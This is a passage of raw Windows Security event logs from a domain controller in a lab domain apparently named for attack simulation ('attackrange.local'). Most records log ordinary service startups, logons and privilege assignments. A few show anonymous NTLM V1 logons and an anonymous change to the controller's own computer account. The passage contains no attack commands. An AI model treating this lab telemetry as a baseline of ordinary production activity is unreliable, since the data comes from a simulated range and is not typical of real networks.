a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:44:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248234 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:44:54 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248233 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x35c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:44:55 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248236 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb74 - New Process Name: C:\Windows\System32\taskhostw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x478 - Creator Process Name: C:\Windows\System32\svchost.exe - Process Command Line: taskhostw.exe SYSTEM - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4742 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Computer Account Management -OpCode=Info -RecordNumber=248261 -Keywords=Audit Success -Message=A computer account was changed. - -Subject: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x3E6 - -Computer Account That Was Changed: - Security ID: ATTACKRANGE\WIN-DC-725$ - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - -Changed Attributes: - SAM Account Name: - - Display Name: - - User Principal Name: - - Home Directory: - - Home Drive: - - Script Path: - - Profile Path: - - User Workstations: - - Password Last Set: 3/1/2021 12:38:06 PM - Account Expires: - - Primary Group ID: - - AllowedToDelegateTo: - - Old UAC Value: - - New UAC Value: - - User Account Control: - - User Parameters: - - SID History: - - Logon Hours: - - DNS Host Name: - - Service Principal Names: - - -Additional Information: - Privileges: - -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248260 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9c4 - New Process Name: C:\Windows\System32\dfssvc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\dfssvc.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248259 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248258 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x35c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248257 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: No - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\ANONYMOUS LOGON - Account Name: ANONYMOUS LOGON - Account Domain: NT AUTHORITY - Logon ID: 0x294B0 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: NtLmSsp - Authentication Package: NTLM - Transited Services: - - Package Name (NTLM only): NTLM V1 - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248256 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x788 - New Process Name: C:\Windows\System32\dfsrs.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\DFSRs.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248255 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9c8 - New Process Name: C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248254 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x988 - New Process Name: C:\Windows\System32\svchost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\svchost.exe -k appmodel - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248253 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8e0 - New Process Name: C:\Program Files\Amazon\XenTools\LiteAgent.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: "C:\Program Files\Amazon\XenTools\LiteAgent.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248252 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248251 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x35c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248250 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8b4 - New Process Name: C:\Windows\System32\dns.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\system32\dns.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248249 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248248 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x35c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248247 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248246 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x35c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=248245 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - -Privileges: SeAssignPrimaryTokenPrivilege - SeTcbPrivilege - SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeAuditPrivilege - SeSystemEnvironmentPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=248244 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Logon Information: - Logon Type: 5 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: SYSTEM - Account Domain: NT AUTHORITY - Logon ID: 0x3E7 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Process Information: - Process ID: 0x35c - Process Name: C:\Windows\System32\services.exe - -Network Information: - Workstation Name: - - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=248243 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x668 - New Process Name: C:\Windows\System32\ismserv.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0x35c - Creator Process Name: C:\Windows\System32\services.exe - Process Command Line: C:\Windows\System32\ismserv.exe - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:45:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 